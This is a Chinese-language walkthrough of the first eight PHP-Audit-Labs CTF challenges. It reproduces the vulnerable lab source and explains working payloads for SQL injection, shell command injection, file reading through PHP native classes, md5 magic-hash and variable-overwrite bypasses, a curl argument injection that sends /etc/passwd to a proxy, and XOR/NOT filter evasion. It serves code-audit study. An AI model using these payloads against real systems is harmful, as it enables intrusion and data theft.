PHP-Audit-Labs-CTF上篇

PHP-Audit-Labs-CTF上篇

前言

目前只做到第8题,后续再把其他的题目一起做完,这个CTF对想学习代码审计的同学还是比较有帮助的。推荐想学代码审计的同学把这十几题CTF做完,建议先自己动手和自己想思路,实在没有思路或者做不出再看解题思路

Day1

Code

Github地址

image-20220111002121397

image-20220111002103498

id参数每次接收参数都会经过stop_hack函数进行过滤,但是过滤没有过滤干净,updatexml函数没有例如黑名单中,这是一个可利用的注入点。结束过滤后,会经过in_array的函数因此我们还需要绕过in_array函数

image-20220111002504939

至于如何绕过,说起来也简单,这里的对比没有采用强匹配,所以使用1'即可绕过,因此payload应该为

1
?id=1’ and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

image-20220111002945585

Day2

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}

}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>
1
2
3
4
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

解:

  • 需要绕过parse_url和preg_match 两个函数才能执行exec

  • parse_url 是以://进行判断,://前面为协议,后面为host

  • preg_match则是正则匹配,匹配url结束是否为sec-redclub.com

  • 现在payload组合:xx:// 系统命令 sec-redclub.com

Payload

1
2
3
4
5
6
7
8
9
10
11
12
linux:
syst1m://"|ls;"sec-redclub.com
syst1m://"|cat<f1agi3hEre.php;"sec-redclub.com

windows:
syst1m://%22||dir||;%22sec-redclub.com
syst1m://%22||type,f1agi3hEre.php||;%22sec-redclub.com

; 表示 连续指令
| 表示 管道符左边命令的输出就会作为管道符右边命令的输入,即左边的结果为右边的输入
|| 表示执行第一个命令成功将不执行第二个命令,如果执行第一命令失败将执行第二个命令

Day3

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#index.php
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;

if(class_exists($classname)){

$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';

}

#f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>

解:

其实我做该题的时候一直在class_exists、sql_autoload_register反复横跳,但是经过查看手册和思考发现sql_autoload_register无法加载flag.php

我的目光又回到class_exists,但是无法绕过class_exists,经过长时间思考也得不到结果,后面上网查询发现可以利用php自带的类进行绕过并读取文件

我这里使用GlobIterator进行读取文件

image-20220106060752971

现在先写一下我们的payload,后续在解释payload各个参数的意思

1
?name=GlobIterator&param=*.*&param2=1

现在试一下我们的payload

image-20220106061216326

payload运行成功,成功获取其他php文件名,现在解释一下我们的payload参数

  • GlobIterator代表GlobIterator
  • *.*代表搜索的文件名(可用正则)
  • 1代表FilesystemIterator::CURRENT_AS_FILEINFO0则代表FilesystemIterator::KEY_AS_PATHNAME

读取文件

这里我使用SplFileObject原生类进行读取文件内容

image-20220106062002972

先写payload,后解释

1
?name=SplFileObject&param=f1agi3hEre.php&param2=r

看下我们的payload是否能读取flag

image-20220106062847875

ok,现在解释一下payload的意思

  • SplFileObject代表SplFileObject

  • f1agi3hEre.php代表打开的文件

  • r代表打开的方式(权限)

    该题我觉得比较有意思,让我知道php的自带类也可以这么利用

Day4

该题目代码有点多,不合适放到文章中,点击链接自行下载

解:

在看源码的时候我刚开始是怀疑存在随机数漏洞的,但是后来查阅PHP手册发现这几个函数不存在随机数漏洞。

再然后我就把目光瞄到session上,后面看了一下代码,发现也没有相关漏洞,最后我看到对比的时候采用的是==,使用==会存在弱对比的情况,但是我测试时发现程序会将输入的值进行切片处理,没办法进行弱对比,后面发现是自己经验不足没想到使用数组类型输入来绕过切片处理

弱对比代码

1
2
3
4
5
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}

上述代码对比时由于使用==进行对比,该==的特定是只比较值,不比较类型,所以产生了弱对比,现在我们知道代码存在弱对比,开始利用,由于弱对比true对比的结果都是true,有点类似数学中0×任何数都是0的意思,所以我们直接使用true进行对比

image-20220106093327054

image-20220106093446655

Day5

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#index.php
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
echo('curl '.$url);
}
}
?>

#flag.php
<?php
$flag = "HRCTF{Are_y0u_maz1ng}";
?>

解:

变量覆盖

为了方便了解下面代码,先了解一下$$a的意思

PHP中$a为变量,$$a为可变变量

所谓的可变变量就是取变量的值作为这个可变变量的名,看下Demo就明白了

1
2
3
4
5
6
7
<?php
$a = 'ling';
$$a ='z';
echo $a."<br/>";
echo $$a."<br/>";
echo $ling;
?>

image-20220107114655928

当请求发送到PHP时,foreach会一直循环获取GET、POST请求和Cookie信息(由于Cookie在下面没有任何作用,所以我会忽略Cookie请求)

1
2
3
4
5
6
7
8
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

}

(or代表或字的意思)

第一行代码循环检查是否存在GET or POST 请求然后将$__R值设置为_GET或_POST

1
$__R = _GET or _POST

第二行代码判断$$__R数据是否存在,这时候的$$__R值就应该是$_GET or $_POST了,这是$__R=_GET or _POST的原因

第三行代码将GET or POST请求数组分解为$__k和$__v,也就是

1
2
$__k=flag
$__v=1

image-20220107122248055

第四行代码判断$$__k变量是否设置,同时$$__k等于$$__v就清除$$__k

php中存在一个特点,就是GET请求或者POST请求是可以共存的,我们可以利用这个特定进行绕过waf函数

当以GET请求发送flag=test同时以POST请求发送_GET[flag]=test,这时候

1
2
3
4
$__R = "_POST"
$__K = "_GET"
$$__k = "['flag'=>'test']"
$__v = array("falg"=>'test')

现在$$__k==$__v了,所以会清掉GET请求的['flag'=>'test'],现在只剩下$_POST[_GET[flag]=test],由于waf函数只有一个foraech所有到检测时$key=_GET就不会进到exit退出

看到extract函数

POST经过extract时,数组中的_GET就会变成$_GET变量,这时候$_GET变量就又重新创建了

1
2
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

如果不熟悉extract函数的可以看下下面的mode

extract会将数组中的key值变成变量名,EXTR_SKIP参数则表示,前面存在此名的变量就不进行覆盖变量处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$b = array('ling'=>'1');
extract($b);
print_r($ling);
?>
#输出结果
1

<?php
$ling='2';
$b = array('ling'=>'1');
extract($b,EXTR_SKIP);
print_r($ling);
?>

#输出结果
2

md5判断,由于采用了弱对比,使用md5加密后以0e开头的纯数字就可以绕过了

加密前的payloads1502113478a s1885207154a

1
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){...}

来到最终BOSSescapeshellarg、escapeshellcmd哼哈二将面前了,只要解决他们,我们就能获取flag

  • escapeshellarg 在字符串周围添加一个单引号并引用\转义任何现有的单引号,在 Windows 上,escapeshellarg()用空格替换百分号、感叹号(延迟变量替换)和双引号,并在字符串周围添加双引号。此外,连续反斜杠 ( \) 的每一连串都被一个额外的反斜杠转义。

  • escapeshellcmd 给下列| * ? ~ <> ^ () [] {} $ \ \x0A \xFF字符前面添加一个反斜杠,当单引号或双引号不是一整对时进行转义,在Windows上所有这些字符加上% !前面都有一个脱字符^

    由于escapeshellcmd歧视单身的' ",不是成对的不会进行转义,我们只要输入一个'就能将之前的转义打乱,让我们后续的命令能跳出url

image-20220107141020090

curl存在-F提交表单的方法,同时也可以提交文件,用法curl -F "web=@index.html;type=text/html" url.com

那么最终的payload为

1
http://baidu.com/' -F file=@/etc/passwd -x localhost:1234

image-20220107153740886

这个CTF 对目标的Curl 版本有要求,版本需要在7.19.7左右

Day6

虽然本题正则偏多,但是正则不是很难,难的是你对语言类型的深度了解,不过整体上该题还是挺有意思的,我挺喜欢的

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#index.php
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{

$password = $_POST['password'];


if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}

while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
var_dump( preg_match_all($reg, $password, $arr));
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>

#falg.php
<?php $flag = "HRCTF{Pr3g_R3plac3_1s_Int3r3sting}";?>

解:

本题的正则有不少,现在我们先看第一个正则

1
2
3
4
5
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))  
{
echo 'Wrong Format';
exit;
}
  • [[:graph:]] 匹配任何可见字符串,除了空格

  • {12,} 匹配至少12次字符串

  • /^ 正则开头

  • $/ 正则结尾

    preg_match匹配成功会返回1,所以我们需要输入12个字符串aaaaaaaaaaaa跳出该if

    接着就是第二个正则

1
2
3
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
  • [[:punct:]] 匹配标点符号

  • [[:digit:]] 匹配数字字符,范围[0-9]

  • [[:upper:]] 匹配大写字母字符,范围[A-Z]

  • [[:lower:]] 匹配小写字母字符,范围[a-z]

  • preg_match_all 匹配正则时找到第一个匹配后,从最后一个匹配的末尾进行后续搜索

    由于preg_match_all的机制找到一个符合正则时就开始沿用最后一个匹配正则的原因,我们不能连段的都是同一个匹配范围,需要间隔,这时候我们的payload应该是aAaAaAaaaaaaa这样,程序才能继续往下走

    看到最后的正则

1
2
3
4
5
6
7
8
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;

该正则要求输入的内容在标点符号、数字字符、大写字母、小写字母四选三,现在payload应该是aAaAaA1aaaaaa

现在看到最后的代码

最后的判断需要输入的内容等于42

1
2
if ("42" == $password) echo $flag;
else echo 'Wrong password';

结合上面的所有条件,现在的payload需要满足标点符号、数字字符、大写字母、小写字母四选三同时最后的结果还要等于42

我们可以采用float来编写payload

float中可以用字母e或E来代表10的n次幂,如果不明白看下面的demo

1
2
3
4
5
6
<?php
$a = 1.234;
$b = 7.1e100;
$c = 7.1e1;
echo $a."<br/>".$b."<br/>".$c;
?>

image-20220108073439117

最终payload:

1
42.0000e-0000

image-20220108073640709

Day7

本题相比前面两题就相对简单许多,没有什么难点,不过也挺有趣

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#index.php
<?php
$a = "hongri";
echo $a;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>

#uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
echo $referer;
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
echo $savepath;
echo 'ok';
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>

解:

index.php的代码不多,我直接把全部代码贴出来

1
2
3
4
5
6
7
8
9
<?php
$a = "hongri";
echo $a;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
  • parse_str 将字符串解析为变量

    第六行代码是一个明显的md5弱对比,md5弱对比值只要输入开头为0e的纯数字字符串就可以绕过了

    现在我们的payload应该为?id=a[0]=s1502113478,输入payload就可以跳转到别的php页面了

image-20220108165735594

uploadsomething.php的代码看起来挺多的,但是最重要的也就是5、6

1
2
3
4
5
6
7
8
9
10
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";

if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
...}
  • HTTP_REFERER为http请求头中的跳转地址

  • REMOTE_ADDR 当前网页的host

    看到第2行代码,如果我们的http请求中没有携带referer信息那么直接返回一串字符串,然后程序结束

    在点a链接时会自动携带referer信息,这就是为什么在index.php会出现a链接的原因

    当携带由referer创建由uploads/+sha1($_SERVER['REMOTE_ADDR'])/组成的目录

    我这里创建目录时可能因为权限问题,没有成功创建目录

    现在来到最后的代码

1
2
3
4
5
6
7
8
9
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}

file_put_contents函数会在前面生成的目录中创建一个由filename控制的文件,内容则是flag

可能因为权限问题创建目录失败,但是我们可以采用路径穿越让代码跳到当前目录创建

payload:?filename=../../12.txt&content=123

但是创建后flag只显示100毫秒,过了这个时间flag就消失换成字符串了,所以我们还需要一个脚本替我们去访问该网页

1
2
3
4
5
#!/bin/bash  
for((i=1;i<=1000;i++));
do
curl http://192.168.1.11/12.txt
done

image-20220108172106164

Day8

如果想做出该题,就需要了解php中异或(^)取反(~)的概念,推荐看p🐂的文章,除了P🐂的还可以看信安之路

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#index.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
// if(strlen($code)>40){
// die("Long.");
// }
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
echo $code;
@eval($code);
}
else{
highlight_file(__FILE__);
}
// highlight_file(__FILE__);
// $hint = "php function getFlag() to get flag";

?>

#index1.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>


#flag.php
<?php
function getFlag(){
echo 'HRCTF{y0u_n4ed_f4st}';
}

解:

取反

看段代码

image-20220109163345452

  • utf-8编码中,汉字都是由三个字节组成(Unicode范围由U+0800至U+FFFF),这就是为什么汉字经过utf-8编码会变成三个字节的原因

  • \x代表的是utf-8编码,e5unicode编码代码的意思

  • 229则是e516进制转成十进制的意思

image-20220109163136257

再看段代码

1
2
3
4
5
6
7
8
9
<?php

$a = '妙';
print(~$a{1})."<br/>";
print(~"\xa6");

#输出结果
Y
Y

的第二个值为166[0xa6],取反的值为-167

在16进制中,负数需要采用补码方式来表示,负数的补码是在16进制转二进制的值后将每位值都进行转反,除了符号位,比如1变成00变成1,然后再在末尾加上1

image-20220109171713273

-167的16进制为0xFF59

phpchr函数只能有255个字符输出,每当超出255个字符就开始循环输出

比如16进制0xFF59转为10进制65369255剩余89,然后ASCII编码中89是大写Y所以输出了Y

image-20220109172543751

异或

异或运算也叫半加运算,其运算法相当不带进位的二进制加法

  • 1 XOR 1 = 0

  • 1 XOR 0 = 1

  • 0 XOR 1 = 1

  • 0 XOR 0 = 0

    看个demo

1
2
php > echo '['^'?';
d

[ ASCII编码为 91

? ASCII编码为 63

91、63转为二进制后分别是0101 10110011 1111

91、63二进制通过xor后的结果为100二进制是0110 0100

ASCII编码100是d,所以就是为什么[^?输出小写的d

ok,现在我们可以自己写payload

payload

1
?code=$_=%22[[[=,![%22^%22%3C%3E/{@@%3C%22;$_();

image-20220109190602543

第二题的多禁止一个_下划线,影响不大,使用拉丁文绕过即可

image-20220109191056735

payload

1
="[[[=,!["^"<>/{@@<";();

image-20220109191045089